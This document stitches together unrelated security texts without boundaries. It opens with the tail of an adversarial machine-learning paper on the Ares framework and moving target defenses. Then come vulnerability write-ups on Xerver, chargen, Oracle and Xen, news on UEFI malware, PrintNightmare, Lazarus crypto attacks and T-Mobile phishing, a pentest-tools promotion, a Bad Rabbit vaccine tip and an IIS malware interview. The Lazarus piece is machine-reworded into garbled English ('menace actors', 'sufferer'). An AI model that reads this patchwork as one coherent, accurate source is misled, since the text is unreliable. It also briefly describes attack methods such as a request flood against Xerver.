al. [tramer2018ensembletraining] use this property to improve the black-box robustness of models trained using the single-step attack version of adversarial training. At each training iteration, source of adversarial examples is randomly selected from an ensemble containing the currently trained model and a set of pre-trained models. Other works [abbasi2017robustness, verma2019error, pang2019improving, sen2019empir] propose strategies for training a diverse pool of models so that it is difficult for an adversarial example to transfer across the majority of them. Aggregating the outputs of these diverse models should therefore yield improved robustness. This ensemble diversity strategy, however, has been shown to be ineffective [he2017adversarial, tramer2020adaptive]. In similar vain, some prior works [sengupta2018mtdeep, roy2019moving] propose use of ensemble of models as a moving target defense where, depending on the MTD strategy, the attacker may face a different target model in each encounter. These works, unfortunately, suffer from the same shortcomings of the ensemble methods. Adversarial ML Libraries. To facilitate research into machine learning security, multiple research groups and organizations have developed libraries to assist in development and evaluation of adversarial attacks and defenses. Most notably of these works are University of Toronto’s CleverHans [papernot2018cleverhans], MIT’s robustness package [robustness], University of Tübingen’s Foolbox [rauber2017foolboxnative], and IBM’s Adversarial Robustness Toolbox (ART) [art2018]. These efforts are orthogonal to our framework. While Ares focuses on evaluating various attacker and defender strategies against one another across multiple scenarios, these libraries focus primarily on facilitating implementation of new attacks and defenses and benchmarking them against existing ones. In this paper, we use the Projected Gradient Descent (PGD) attack from IBM’s ART library as our main adversarial evaluation criteria. Iii Ares Framework In this section, we provide an overview of the Ares framework. As seen in Figure 1, Ares adapts the adversarial attack/defense problem into an RL-environment consisting of three main components: (1) the evaluation scenario, (2) the attacker agent, and (3) the defender agent. Once each component has been defined by the user, Ares executes a series of competitions between the attacker and defender. Each competition is modeled as a turn-based game with the attacker taking the first move and defender responding during each round. To do this, Ares freezes one agent’s policy, either the attacker or defender, and treats it as part of the RL-environment, while the opposing agent makes their move. The current active agent (i.e., attacker or defender) interacts with the RL-environment (specifically the evaluation scenario) and takes actions based on the current game state. This setup enables us to tune and evaluate each agent individually. The game will end when the active agent achieves its end condition (e.g., the attacker has successfully fooled the model, the defender has detected the attacker, or the defender has resisted the attack for a set number of rounds). The final output of the system is a series of metrics that reflect the effectiveness of the attacker and defender for the current scenario. Iii-a Evaluation Scenario In Ares, the evaluation scenario is defined by the threat model, scenario parameters, and end states. Currently, Ares supports the following threat models: White-box: In this threat model, the attacker is provided the complete loss gradient when issuing queries to the defender. If a defense uses gradient obfuscation, the attacker is provided approximated gradients based on the adaptive measures from Athalye et al. [Athalye2018ObfuscatedGG]. Soft Black-box: In this threat model, the attacker is provided only the probabilistic outputs of the model. Hard Black-box: In this threat model, the attacker is provided only the model’s label prediction. We’ve used these threat models in our current implementation as they represent the most common ones found in the literature. The threat model is used to determine the amount of information provided to the attacker by the defender. The scenario parameters consist of the shared evaluation parameters used by both the attacker and defender. This includes the dataset, number of competitions executed, and the time limit (i.e., number of steps). The end states define the ending conditions for a game round. In addition to ending the game when time expires, the environment will also end the game if the active component (i.e., attacker or defender) has achieved its win/loss condition. For example, the game may end if the attacker has successfully generated an adversarial sample that the defender misclassifies. Iii-B Attacker Agent To define an attacker, the user must define the policy, attack algorithm, action space, and reward function. The policy utilizes the other three subcomponents and defines the attacker’s behavior and overall strategy. The policy can be static, randomized, or even learnable and dynamically changing throughout the game. Often, the definition of the attack algorithm will depend on the specific threat model as current adversarial attacks assume that the loss gradient is either present or must be approximated based on model outputs. We note that the attacker is not limited to a single attack algorithm. The action space defines the attacker’s potential moves. In scenarios against a static defense (i.e., the defender does not take measures to monitor or adapt to the attack actions), often the action space will simply involve issuing a query to the defender and using its response to take an attack optimization step. However, when the defender attempts to adapt to or detect malicious actions, the attacker’s action space may include evasive actions such as issuing queries that do not advance the attack in any way. In this case, the attacker will learn its policy through reinforcement learning to determine its action based on the current state obtained from the environment. Finally, the reward function defines a measure to evaluate the effectiveness of the attacker. Most prior work measure the effectiveness of an attack by the number of successfully attacked samples in the dataset, usually denoted as the adversarial accuracy or robustness. As such, adversarial accuracy is one of the two default measures of our framework. As a second measure of effectiveness, we also measure the number of attack steps required to perform a successful attack. In certain scenarios such as an attack with limited queries, it may be sufficient for a defense to simply hinder the attack rather than completely prevent it. The reward function can also include additional bonuses or penalties in support of scenarios where the defender can respond. For example, if the defender has detection capabilities, the attacker could be penalized if detected. We choose to define the reward function within the attacker component rather than the environment to allow for asymmetrical reward definitions for the attacker and defender. It also allows for the definition of multiple attacker agents. Iii-C Defender Agent To define a defender, the user must similarly define the policy, action space, defense algorithm, and reward function. Similar to the attacker agent, the policy utilizes the other three subcomponents to define the defender’s strategy throughout the game and can be static, randomized, or learnable. The defense algorithm opposes the attacker’s attack algorithm and similarly depends on the threat model. Just like the attacker, the defender is not limited to a single defense algorithm. The action space of the defender dictates how the defender responds to a query. As a basic requirement, the defender must always respond truthfully and cannot lie such that the output prediction is invalid. This requirement is motivated by the fact that in a real scenario, the defense is unaware of the query source, and thus should respond as if the source is benign. Furthermore, if the defender was able to detect the attacker, we could end the game prematurely and penalize the attacker, rather than continue the game with deceptive responses from the defender. Based on prior works, the action space can include preprocessing of the input or postprocessing of the output. Of interest are scenarios with a non-static defender as the action space could include steps to detect if the current query is a query used for an attack optimization. Just like the attacker, in the case of a non-static defense, the defender will learn a policy through reinforcement learning to determine its actions based on the current state obtained from the environment. The reward function defines a measure to evaluate the effectiveness of the defender. The defender’s reward function will often use the same metrics as the attacker. Whereas by default, the attacker wants to minimize the adversarial accuracy and time required to succeed, the defender wants to maximize the values. Similarly, if the defense is not static, a reward can be given whenever the defense successfully responds to an attack optimization query. As before, the reward is defined specific to the defender to allow for asymmetrical reward definitions to also allow for multiple defenders. Iii-D Framework Implementation To implement Ares, we utilize Open AI’s Gym [gym] library to create the RL-environment composed of the evaluation scenario, attacker agent, and defender agent. Through integration with the Adversarial Robustness Toolbox (ART [art2018]), our framework supports numerous adversarial attacks and defenses by default. In addition, users can implement their own attack or defenses algorithms rather than rely on ART’s implementations if customization is required. For example, in this paper, we implemented the moving target defense (MTD) using custom code. Finally, in the current implementation, our framework evaluates scenarios with a single attacker and single defender agent. We are currently working to enable support for multiple attacker and defender agents. To showcase the capabilities of Ares, we look back at the use of ensemble models as an adversarial defense. Prior work [goodfellow2014explaining] in adversarial evasion attacks found that adversarial samples were transferable . That is to say, an adversarial sample for one model was highly likely to also be adversarial for another model regardless of architecture. Therefore, ensembling of models was assumed to do little towards create adversarially robust classifiers. In this section, we use Ares to evaluate the effectiveness of the moving target defense (MTD) architecture under white-box threat model. Specifically, we study this defense using both naturally trained and adversarially trained models of both the same and different architectures. We discuss the evaluation results obtained from Ares and demonstrate how these results reveal the underlying reason for adversarial transferability. Iv-a Experimental Setup For the environment parameters, we set the threat model to a white-box threat model, We use the CIFAR-10 dataset and define the end states to be either when the attacker causes misclassification on a sample originally correctly classified by the all of the defender’s models or when time expires. Each game is run for a maximum of 20 steps. For the attack algorithm, we used the Projected Gradient Descent (PGD) attack [madry2018towards] implementation from ART [art2018]. We set the attack budget to and step size , and perform an -norm PGD attack. In each step, the attack performs a 1-step PGD attack using the state returned by the environment. As this is a white-box threat model, the environment state is the loss gradient of the defender’s model with respect to the attacker’s query. The action space of the attacker only contains the query action given that the defender is static. Finally, the attacker’s reward is measured by the number of steps required to generate a misclassified sample. For the defense algorithm, we use an MTD architecture consisting of some combination of up to six models. Using PyTorch[pytorch] implementations of the ResNet-18, ResNet-50, and VGG11 architectures, we train each architecture using both natural and adversarial training [madry2018towards]111For more information on the natural and adversarial accuracy for each model, refer to Table I.. For adversarial training, we set , step size , and perform a 10-step -norm PGD attack. The defender uses a static policy that randomly selects one of the models in the MTD architecture and uses it to respond to the query. Finally, the defender’s reward is measured by the number of steps elapsed before the attack succeeds. Iv-B MTD with Natural and Adversarial Training \|N\|\|A\|\|N + A\| The number of rounds until the attacker succeeds in triggering misclassification by the defender using the Ares framework. For each of the three models (ResNet-18, ResNet-50, and VGG11) we run the game with the MTD consisting of either only the naturally trained (N), only the adversarially trained (A), or a mixture of both (N + A). We perform 100 trials for each experiment and report the mean number of rounds with its 95% confidence interval. The presence of a naturally trained model only weakens the robustness of the MTD while the network architecture plays no role. We first use Ares to evaluate an MTD that combines models of the same network architecture with various training regiments. Using Ares, we first evaluate the effectiveness of the PGD attack against the naturally trained (N) and adversarially trained (A) models only. Then, we evaluate an MTD using both the naturally trained and adversarially trained models. We set Ares to perform 100 competitions and average the results across success attacks to examine the time to fail for the defender agent. Table II reports the average number of rounds required for the attacker to win, which can be interpreted as the robustness of the model(s) against the attack. As we expect, the attacker always won against the naturally trained models very quickly. When switching to the adversarially trained version, the attacker required a few more steps to win, but was still able to find adversarial samples most of the time. We observe that within the same training method, the network architecture make little difference with respect to defender’s robustness against the attack. Finally, the MTD that combines the naturally trained and adversarially trained models is weaker than using the adversarially trained model only. This reduced robustness is due to the presence of the naturally trained model, which was typically the first to fail in the MTD evaluations. Iv-C MTD with Multiple Network Architectures We next explore MTD models using a combination of different model architectures with varying training methods. As before, we evaluate each MTD across 100 competitions and report the average number of rounds before the attacker was successful to evaluate the time to fail for the defender agent. We present the results of several combinations in Table Table III222Due to space restrictions, we do not include the full set of results in the main paper.. The results have been divided into four sections based on the number of naturally or adversarially trained models used in the MTD. Compared to the individual model results in Table II, when combining models using the same training method, we observe a slight increase in the number of rounds required for the attacker to win. As before, using adversarially trained models only results in a higher average number of rounds for the attacker to win. We also generally observe that as the number of models in the ensemble increases and the number of adversarially trained models, the robustness of the MTD increases. However, as before, the presence of naturally trained models in the MTD reduces the average robustness of the defense due to them being most likely to fail. V What causes transferability in the MTD? \|ResNet-18\|\|VGG11\|\|Round Avg.\|\|Final Image\| Based on the results in Tables II and III, the transferability of adversarial examples described by prior work appears to a pervasive issue regardless of model architecture or training method. However, while prior work mainly focused on the transferability of adversarial examples trained on a single model, Ares shows that the transferability issue remains even when the attacker’s loss gradients come from different defender models. We hypothesize that in addition to models sharing similar decision boundaries when trained on the same dataset, they also share similar loss surfaces. If so, this means that for MTD and ensemble based defenses, regardless of the models used, the attacker will always obtain a loss gradient that is similar in direction to the previous loss gradient. To validate our hypothesis, we study the similarity of the loss gradients between the ResNet-18 and VGG11 models. We use Ares, but only execute a single competition with a maximum of 10 rounds. This round limit is set to increase the likelihood the defender wins, especially for naturally trained models. We compute an additional metric, the cosine similarity of the loss gradients. During each round, in addition to selecting a single model to respond to the attacker’s query, the defender also computes the loss gradient for both the ResNet-18 and VGG11 models. It uses these loss gradients to compute the “per round” cosine similarity of the loss gradients. We also compute the “final round” similarity by randomly selecting two trials with the same final result (attacker wins or defender wins) and computing the cosine similarity between their final adversarial samples. the attacker’s generated adversarial sample and computing the cosine similarity. The results are shown in Table IV. We observe that regardless of whether the attacker or the defender wins, the cosine similarity remains high. This observation indicates that even in cases where the attack would fail on one of the underlying models, the returned loss gradient is still useful to the attacker for finding an adversarial sample that succeeds against the other models in the MTD. This result remains consistent regardless of the training method or network architecture. How can we improve MTD? As our experiments showed, the MTD is an ineffective method to create robust defender models. Both natural and adversarial training result in models with similar loss gradients when attacked with a PGD attacker. Our observations align with prior work which also found that ensemble-based defenses with vulnerable models were ineffective at improving adversarial robustness [he2017adversarial, tramer2020adaptive]. However, our investigation reveals a possible solution towards improving MTD. As natural and adversarial training seek to minimize the classification loss with respect to a dataset distribution, they do not consider the shaping of the loss surface as part of the training. More specifically, they do not encourage diversification of the loss gradient between models. Therefore, if, when constructing an MTD or ensemble-based defense, we use a training technique to improve gradient diversity within the defense, a PGD attacker would be less likely to succeed. As a next step, we plan on re-evaluating the MTD after training models using a gradient diversification approach [yang2021trs, lee2021graddiv]. The security of AI systems with respect to adversarial evasion attacks has become an increasingly important issue due to widespread use. Sadly, a lack of proper evaluation tools discourages ML practitioners from recognizing adversarial evasion attacks as a threat and prevents researchers from properly evaluating their proposed attacks and defenses in realistic deployment scenarios. We proposed Ares, an evaluation framework designed for complex adversarial attacker-defender interactions in a more realistic environment. Unlike prior work, Ares evaluations enable dynamic interacts between the attacker and defender and allow for evaluation under multiple threat scenarios. Using Ares, we re-examined the ensemble/MTD defense architecture previously shown to be vulnerable to adversarial attacks due to the transferability property. As with prior work, the Ares evaluation demonstrated that, regardless of the underlying base models, the attacker was always successful at defeating the defender. Adversarial training, a state-of-the-art defense used in the evaluation, only hinders the attacker slightly. We performed a deeper investigation and found that the transferability of adversarial examples is mainly due to shared loss gradients between the underlying base models. These findings suggest that the previously dismissed ensemble/MTD architecture could be robust to adversarial attacks if trained to mitigate the intra-gradient similarity. Ares is publicly available to the research community. Our development and usage of the framework as an evaluation tool is ongoing. Although prior work demonstrated that many empirical defenses are not robust to adaptive white-box adversaries [Athalye2018ObfuscatedGG], it remains to be seen if this fact holds true with respect to other threat scenarios. As future work, we will re-visit these “broken” defenses and evaluate their effectiveness with Ares under the black-box threat model. Furthermore, we plan to integrate mitigation responses external to the classification model such as detection of ongoing attack campaigns [10.1145/3385003.3410925] and observe the effect on the attacker. We thank the anonymous reviewers for their valuable feedback. This work was supported by the Office of Naval Research under grants N00014-20-1-2858 and N00014-22-1-2001, and Air Force Research Lab under grant FA9550-22-1-0029. Any opinions, findings, or conclusions expressed in this material are those of the authors and do not necessarily reflect the views of the sponsors.
This attack could pose a moderate security threat. It does not require immediate action. This signature detects attempts to exploit a denial-of-service vulnerability in Xerver. Xerver is a freely available Web server, written in Java. It will run on any operating system with Java installed, including Microsoft Windows, Unix/Linux variants, MacOS, etc. An issue has been reported in the way Xerver handles certain types of requests. A denial-of-service condition has been discovered in Xerver. It has been reported that sending an excessive number of requests for 'C:' to port 32123 will cause the Web server to crash, denying service to legitimate users. This appears to be the case even on non-Windows based operating systems running the vulnerable software. The Web server will need to be restarted to regain normal functionality. This issue was reported for v2.10 of Xerver. Earlier versions may also be affected.
- Vital information on this issue - Scanning For and Finding Vulnerabilities in Chargen Detection - Penetration Testing (Pentest) for this Vulnerability - Security updates on Vulnerabilities in Chargen Detection - Disclosures related to Vulnerabilities in Chargen Detection - Confirming the Presence of Vulnerabilities in Chargen Detection - False positive/negatives - Patching/Repairing this vulnerability - Exploits related to Vulnerabilities in Chargen Detection Vital Information on This Issue Vulnerabilities in Chargen Detection is a Medium risk vulnerability that is one of the most frequently found on networks around the world. This issue has been around since at least 1990 but has proven either difficult to detect, difficult to resolve or prone to being overlooked entirely. \|Vulnerability Name:\|\|Chargen Detection\| \|Category:\|\|Simple Network services\| \|Summary:\|\|The chargen service is running. This service simply generates characters and has no useful functionality on its own. However, it can be easily used to perform Denial-of-Service attacks.\| \|Impact:\|\|Attackers can perform a Denial-of-Service attack against the machine.\| \|Solution:\|\|To stop the chargen service, disable the Simple TCP/IP Service in the Control Panel, under Services. This step not only disables the chargen service, but also the echo, daytime, discard, and quote-of-the-day services–any of which hackers could use for the bandwidth-hogging attack. Although none of these services is required for proper network operation, you might find a particular service useful. For example, you might want the echo service operational if your network monitors occasionally test the echo port when they cannot get a response to a ping.You can run one or more services while turning the others off by adjusting the Registry entry found in the subtree HKEY_LOCAL_MACHINESystemCurrentControlSetServicesSimpTcpParameters. To disable a particular service, change the established value of both the EnableTcp XXXX and EnableUdpXXXX parameters (where XXXX is the service name) from 0x1 to 0x0.\| \|Nist NVD (CVSS):\|\|AV:N/AC:L/Au:N/C:N/I:N/A:P\| Scanning For and Finding Vulnerabilities in Chargen Detection Use of Vulnerability Management tools, like AVDS, are standard practice for the discovery of this vulnerability. The primary failure of VA in finding this vulnerability is related to setting the proper scope and frequency of network scans. It is vital that the broadest range of hosts (active IPs) possible are scanned and that scanning is done frequently. We recommend weekly. Your existing scanning solution or set of test tools should make this not just possible, but easy and affordable. If that is not the case, please consider AVDS. Penetration Testing (pentest) for this Vulnerability The Vulnerabilities in Chargen Detection is prone to false positive reports by most vulnerability assessment solutions. AVDS is alone in using behavior based testing that eliminates this issue. For all other VA tools security consultants will recommend confirmation by direct observation. In any case Penetration testing procedures for discovery of Vulnerabilities in Chargen Detection produces the highest discovery accuracy rate, but the infrequency of this expensive form of testing degrades its value. The ideal would be to have pentesting accuracy and the frequency and scope possibilities of VA solutions, and this is accomplished only by AVDS. Security Updates on Vulnerabilities in Chargen Detection Given that this is one of the most frequently found vulnerabilities, there is ample information regarding mitigation online and very good reason to get it fixed. Hackers are also aware that this is a frequently found vulnerability and so its discovery and repair is that much more important. It is so well known and common that any network that has it present and unmitigated indicates “low hanging fruit” to attackers. Disclosures related to this vulnerability Confirming the Presence of Vulnerabilities in Chargen Detection AVDS is currently testing for and finding this vulnerability with zero false positives. If your current set of tools is indicating that it is present but you think it is probably a false positive, please contact us for a demonstration of AVDS. The secret killer of VA solution value is the false positive. There was an industry wide race to find the most vulnerabilities, including Vulnerabilities in Chargen Detection ,and this resulted in benefit to poorly written tests that beef up scan reports by adding a high percentage of uncertainty. This may have sold a lot of systems some years ago, but it also stuck almost all VA solutions with deliberately inaccurate reporting that adds time to repairs that no administrator can afford. Beyond Security did not participate in this race to mutually assured destruction of the industry and to this day produces the most accurate and actionable reports available. Patching/Repairing this Vulnerability Vulnerabilities in Chargen Detection is a Medium risk vulnerability that is also high frequency and high visibility. This is the most severe combination of security factors that exists and it is extremely important to find it on your network and fix it as soon as possible. Exploits related to Vulnerabilities in Chargen Detection
A Java library for executing, parsing and persisting NMap output. Nmap4j is good! Thanks. Very useful API to parse into Java objects nmap's output. After the parsing, you can iterate over the NMapRun object to extract hosts, MAC-address, IP-address, services, ports, OS, and all other information caught by nmap. There are more way to use this library, the simplest one is to use the Nmap4j object with its methods and you will be able to run nmap and parse its output in 10 minutes.
China-Linked Hackers Used UEFI Malware in North Korea-Themed Attacks A threat actor linked to China has used UEFI malware based on code from Hacking Team in attacks aimed at organizations with an interest in North Korea, Kaspersky reported on Monday. Kaspersky researchers analyzed the malware and the malicious activity after stumbling upon several suspicious UEFI firmware images. A deeper investigation revealed the existence of four components, many of which were based on source code leaked in 2015 by a hacker who had breached the systems of the now-defunct Italian surveillance solutions provider Hacking Team. The firmware implant appeared to be based on code associated with the Vector-EDK bootkit, with only some minor modifications. Kaspersky has not been able to determine how the attackers managed to rewrite the firmware on targeted machines. However, considering that the firmware implant is based on Hacking Team code, it’s possible that deployment involved physical access to the targeted device and attaching a USB key — Hacking Team’s Vector-EDK bootkit was designed to be deployed via a USB key. “Of course, we cannot exclude other possibilities whereby rogue firmware was pushed remotely, perhaps through a compromised update mechanism. Such a scenario would typically require exploiting vulnerabilities in the BIOS update authentication process. While this could be the case, we don’t have any evidence to support it,” Kaspersky researchers said. The implant’s main bootkit component is designed to act as a persistent dropper for a piece of Windows malware. This allows the attackers to ensure that the Windows malware cannot be removed from the compromised system — the malware is rewritten to disk if removed, unless the malicious firmware is also removed. The malware delivered by the bootkit was determined to be a variant from a framework that Kaspersky has dubbed MosaicRegressor, which is designed for espionage. The framework is modular, enabling the attackers to carry out various tasks, such as stealing documents from the compromised computer. Kaspersky detected MosaicRegressor components at “several dozen” entities between 2017 and 2019. Victims included NGOs and diplomatic entities in Asia, Africa and Europe, and one thing they had in common was a connection to North Korea — in some cases they had a presence in the country, while others were involved in non-profit activity related to North Korea. However, only two of these victims were targeted with the UEFI implant. Evidence uncovered by Kaspersky suggests that the hackers behind these attacks are Chinese speakers, and a connection has been found to Winnti, but no definitive links have been found to a known threat actor. There aren’t too many known attacks involving UEFI malware. ESET reported in 2018 that the Russia-linked threat group Fancy Bear had been using a UEFI rootkit in its attacks.
New York (CNN Business)Microsoft is urging Windows users to immediately install an update after security researchers found a serious vulnerability in the operating system. The security flaw, known as PrintNightmare, affects the Windows Print Spooler service. Researchers at cybersecurity company Sangfor accidentally published a how-to guide for exploiting it. The researchers tweeted in late May that they had found vulnerabilities in Print Spooler, which allows multiple users to access a printer. They published a proof-of-concept online by mistake and subsequently deleted it — but not before it was published elsewhere online, including developer site GitHub.
Vulnerability in the Oracle Common Applications product of Oracle E-Business Suite (component: CRM User Management Framework). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Common Applications. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Common Applications, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Common Applications accessible data as well as unauthorized update, insert or delete access to some of Oracle Common Applications accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).
The U.S. authorities has warned that North Korean state-backed hackers generally known as the Lazarus Group are concentrating on organizations within the blockchain business utilizing trojanized cryptocurrency functions. In a joint advisory issued on Monday, the FBI, CISA and the U.S. Treasury stated they’d noticed the North Korean-backed menace actors concentrating on quite a lot of organizations within the blockchain and cryptocurrency industries, together with crypto exchanges, cryptocurrency buying and selling firms, enterprise capital funds which have invested in cryptocurrency and people recognized to carry giant quantities of cryptocurrency or beneficial non-fungible tokens (NFTs) and play-to-earn video video games. The warning comes simply days after U.S. officers linked Lazarus to the recent theft of $625 million in cryptocurrency from Ronin, an Ethereum-based sidechain made for the favored play-to-earn sport Axie Infinity, after exploiting a vulnerability within the community. The North Korean-backed hackers are concentrating on staff of cryptocurrency firms utilizing social engineering techniques throughout quite a lot of communication platforms. The advisory warns that the attackers would ship extremely focused spoofed emails — generally known as “spearphishing” — that would come with a high-paying job provide to attempt to entice the sufferer to obtain the trojanized cryptocurrency functions, an operation which the U.S. authorities refers to as “TraderTraitor.” This seems to be a continuation of the so-called “Dream Job” campaign that was first noticed in 2020 and noticed the hackers goal staff within the protection, aerospace and chemical sectors. These malicious apps propagate malware throughout the sufferer’s community atmosphere and steal personal keys or exploit different safety gaps, which permits the hackers to hold out follow-on actions, resembling making fraudulent blockchain transactions. The U.S. businesses spotlight a variety of malicious TraderTraitor apps utilized in these campaigns, together with Dafom, CryptAIS, AlticGO, Esilet and CreAI deck, all of which purport to supply companies resembling portfolio constructing and real-time cryptocurrency value predictions. The advisory, which additionally consists of indicators of compromise (IOCs) and data on techniques, strategies and procedures (TTPs) employed in these assaults, urges organizations within the blockchain and cryptocurrency industries to strengthen their defenses. “North Korean state-sponsored cyber actors use a full array of techniques and strategies to use pc networks of curiosity, purchase delicate cryptocurrency-intellectual property, and acquire monetary property,” the businesses stated. “These actors will probably proceed exploiting vulnerabilities of cryptocurrency expertise corporations, gaming firms, and exchanges to generate and launder funds to assist the North Korean regime.” Final yr, U.S. businesses shared info on malicious crypto-trading functions injected with AppleJeus malware, which was used by Lazarus to steal cryptocurrency from people and corporations worldwide. North Korea has lengthy used cryptocurrency-stealing operations to fund its nuclear weapons program.
Today, we’re going to take a look at some of the top tools in the game that can help you identify vulnerabilities, exploit weaknesses, and gain access to a target system. These tools are the ultimate weapons in a hacker’s arsenal and can help you become the next cyber ninja. So, let’s get hacking 1. Burp Suite This tool is an all-in-one solution for web application testing. It includes an automated scanner that can identify vulnerabilities, a proxy that allows you to intercept and modify traffic, and a suite of manual tools for testing and exploiting web applications. It’s like having a magic wand that can turn any web application into Swiss cheese. It is a network exploration and management tool that is used to identify live hosts and services on a computer network. It can be used to map out the entire infrastructure of a target, including open ports, services, and operating systems. Think of it as a treasure map that leads you to the target’s crown jewels. Is a vulnerability scanner that can be used to identify vulnerabilities in a variety of systems, including Windows, Linux, and macOS. It is known for its comprehensive vulnerability database and its ability to automate vulnerability scans. It’s like having a crystal ball that can predict the target’s weak spots. This is a web fuzzing tool that can be used to identify vulnerabilities in web applications. It uses a wordlist to brute force directories and files on a web server. It’s like having a metal detector that can find hidden treasure on a web server. The right tool for a powerful exploitation framework that can be used to exploit vulnerabilities in a variety of systems, including Windows, Linux, and macOS. It is known for its ability to automate the exploitation process and for the number of pre-built exploit modules it offers. It’s like having a secret key that can open any door. This is a set of Python libraries that can be used to perform various operations on Windows systems, including authentication. It can be used to create custom authentication steps instead of the original ones in order to “catch” and gather information on a target system. It’s like having a master key that can bypass any lock. A network protocol analyzer that can be used to capture and analyze network traffic. It is often used to troubleshoot network issues, but can also be used to analyze traffic in order to identify vulnerabilities. It’s like having a pair of x-ray glasses that can see through the network. 8. Frida & Objection While Frida is a dynamic instrumentation toolkit that can be used to perform various operations on mobile apps, including reverse engineering. Objection is its’ addition which provides runtime mobile exploration and instrumentation. It’s like having a time machine that can take you back to the past of a mobile app. This is a tool that can be used to gather information about a target from various sources, including search engines, social media, and the deep web. It is often used for OSINT (Open-Source Intelligence) gathering. It’s like having a detective agency that can gather information about anyone. Lastly, this tool can be used to perform security assessments of AWS and other cloud environments. It automates the process of checking for security best practices and potential vulnerabilities. It’s like having a security guard that can protect your cloud environment. In conclusion, these tools are the ultimate weapons in a hacker’s arsenal and can be used to identify vulnerabilities, exploit weaknesses, and gain access to a target system. And how do we know that ? Because we identify vulnerabilities before attackers do - so get our pentesting services today !
Thankfully, it's relatively easy -- and free -- to protect your computer from bad rabbit ransomware. By simply tweaking a couple of files, you can stop the ransomware in its tracks. all you need to do is create two files (c:\windows\infpub.dat and c:\windows\cscc.dat) and remove all permissions from them. This means that even if you come into contact with Bad Rabbit, it will not be able to work its magic. or you can do disabling the WMI service to prevent the spread of Bad Rabbit over a network. To do this, use the following steps:
An issue was discovered in Xen through 4.14.x. A bounds check common to most operation time functions specific to FIFO event channels depends on the CPU observing consistent state. While the producer side uses appropriately ordered writes, the consumer side isn’t protected against re-ordered reads, and may hence end up de-referencing a NULL pointer. Malicious or buggy guest kernels can mount a Denial of Service (DoS) attack affecting the entire system. Only Arm systems may be vulnerable. Whether a system is vulnerable depends on the specific CPU. x86 systems are not vulnerable.
Have you ever heard of IIS malware? It’s not a common term that most people are familiar with, but it is not new. Cybercriminals have been exploiting the IIS web server software for Windows since 2013. Now, IIS backdoors are being deployed via the recent Microsoft Exchange pre-authentication Remote Code Execution (RCE) vulnerability chain. To find out more, CSA spoke with Zuzana Hromcova, Malware Researcher at ESET, about the IIS malware and how it should be included in the threat model, especially since IIS backdoors are being deployed with government institutions as targets. But First, What is IIS Malware? IIS stands for Internet Information Services. It is a Microsoft Windows web server software with an extensible, modular architecture that, since v7.0, supports two types of extensions – native (C++ DLL) and managed (.NET assembly) modules. According to Zuzana, IIS threats are written and implemented as extensions for the Windows web server software – which means that this malware can see any data being processed by the server. As a result, threat actors have an advantage in this situation because they can access any communication flowing through the server. “This means that they can read all the incoming HTTP requests and affect what kind of HTTP response is served. These two so-called “superpowers”, where they can read and affect that communication, means that they can perform all kinds of activities such as stealing credit card information that flows through e-commerce websites through these transactions,” said Zuzana. It is a common standard to use HTTPS to transmit this kind of data and SSL will help in protecting it; however, the data processed will be in an unencrypted state once it is on the server. Whether your company does e-commerce or other types of business, Zuzana pointed out that these websites don't always have control over the server where these services are hosted. As a result, if the server is compromised, your customers' data is at risk. This has sparked the importance of understanding this malware to protect organisations worldwide, as there are more people online now. In the video below, Zuzana explains the implications of an IIS malware attack on businesses and why organisations need to be aware of such a threat. IIS Malware - A Growing Security Concern Now, how does IIS stack up against other malware? Technically, it is the same as any other malware. There should be no problem if a company has a security solution integrated into its system to detect malware. However, the problem is that not all IIS servers have any security installed. “A lot of web server administrators, in general, don’t use any security solutions and that’s a real issue because that helps the attackers to stay undercover for a longer period of time,” explained Zuzana. To solve this issue, it is important for businesses not to overlook the security of their servers. It is just as vital as endpoint security, where companies are generally spending a lot more resources to protect. Zuzana explained that once infected with IIS malware, it involves a lengthy process to identify and remediate a successful compromise. In order to prevent the worst, she shared several practical steps that need to be taken: For IIS server administration, use dedicated accounts with strong, unique passwords. Multifactor Authentication (MFA) should be required for these accounts. Also, keep an eye on how these accounts are being used. To reduce the risk of server exploitation, patch your OS on a regular basis and carefully consider which services are exposed to the internet. Consider using a web application firewall and/or endpoint security solution on your IIS server. Native IIS modules have unrestricted access to all server worker process resources; you should only install native IIS modules from trusted sources to avoid downloading trojanised versions. Be wary of modules that promise too-good-to-be-true benefits, such as magically improving SEO. Check the IIS server configuration on a regular basis to ensure that all native modules installed are legitimate (signed by a trusted provider, or installed on purpose). For those who are interested, Zuzana also shared an ESET whitepaper that provides a comprehensive guide to help defenders detect, dissect and mitigate this class of server-side threats. ESET’s Role in Combatting IIS Malware Due to the lack of public report or guidelines regarding this malware, that’s where ESET come in to fill that gap. ESET has conducted research and analysed over 80 unique malicious IIS modules. Throughout the research, they have categorised them into 14 malware families and found 10 of them to have never been scrutinised or documented. Hence, ESET's first approach was to document these threats and publish a comprehensive guide on IIS malware for those that want to learn more about the malware families in depth. Not only that, but they also share useful resources with the community, such as the YARA rules and Indicator of Compromise (IoCs), to raise awareness about malware. “On the technical side, which maybe you were also wondering, will ESET’s security solutions detect all of these threats? If you use ESET’s security solution, then these threats can be detected by running Win32/BadIIS.F and Win64/BadIIS.U [programming codes]. So definitely all our customers are defended against this threat,” Zuzana concludes.
A few days ago, there were reports of Verizon’s database being held hostage by a hacker. Now, it looks like T-Mobile is being targeted by an aggressive phishing scam. To be more specific, the attack is targeting T-Mo employees. As reported by The T-Mo Report, employees shared that they are receiving texts with fake messages and login pages. The fake message reads: “UNDesktop login is being deactivated.” They are then recommended to visit a website so they can verify their credentials and maintain their login. According to the report, the domain in the fake website is now non-functional. The attacks started on the same day the website was registered on May 30th in Iceland. Even though this particular domain is no longer functioning, the attackers continue to switch up domains. Some victims said that they have seen at least three of these domains. UNDesktop is an internal tool that T-Mo employees use to gain desktop applications. Victims who have entered their credentials into the fake domains are at serious risk. Though right now, there is no information available if there have been logins compromised by the attack. Some T-Mo employees have also started to receive over 10 phishing phone call attempts too. T-Mobile has already been made aware of the internal attack. Hopefully, they are able to remedy the issue before customer information falls into the hands of these scammers. Right now, there have not been any customer claims that their information has been breached. We’ll continue to keep an eye on things. Source: The T-Mo Report
